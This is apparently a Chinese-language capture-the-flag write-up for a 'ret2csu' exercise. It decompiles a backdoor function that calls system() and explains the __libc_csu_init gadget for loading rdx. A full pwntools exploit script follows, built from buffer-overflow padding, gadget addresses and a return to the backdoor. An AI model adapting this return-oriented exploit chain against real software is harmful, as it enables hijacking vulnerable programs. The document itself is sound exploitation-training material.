1.泄露libc来构建我们的system和/bin/sh
2.一上来安全机制,ida走一波(查找敏感的字符串)
3.发现迷一般的东西(应该是一个后门函数之类的)
int __fastcall ret2win(__int64 a1, __int64 a2, __int64 a3)
{
char command[8]; // [sp+10h] [bp-20h]@1
__int64 v5; // [sp+18h] [bp-18h]@1
__int64 *v6; // [sp+28h] [bp-8h]@1
strcpy(command, ".........");
*(_QWORD *)command ^= a3;
v6 = (__int64 *)((char *)&v5 + 1);
*(__int64 *)((char *)&v5 + 1) ^= a3;
return system(command); //后门 我们可以利用溢出控制返回地址,绕过前面的判断,到我们的后门函数
}
查看了ROPgadget,没有发现关于rdx可以利用的片段。
在这里引入一个万能的gadget( __libc_csu_init
函数)
我们发现在
pop r15
,我们可以将程序走一遍,返回到mov rdx r15
这就做到了将值传递给rdx
的效果。
EXP
from pwn import*
p = process('./ret2csu')
pop_gadget1 = 0x40089A #add rsp, 8;pop rbx ; pop rbp ; r12 r13 r14 r15 ret
mov_gadget2 = 0x400880 #mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword ptr [r12+rbx*8]
init = 0x600e10
ret2win = 0x4007B1
payload = 'A'*0x20 + p64(0)
payload += p64(pop_gadget1)
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(init) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0xdeadcafebabebeef) #r15
payload += p64(mov_gadget2) #ret
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(ret2win)
p.sendline(payload)
p.interactive()
参考文献:http://eternalsakura13.com/2018/03/31/return2csu/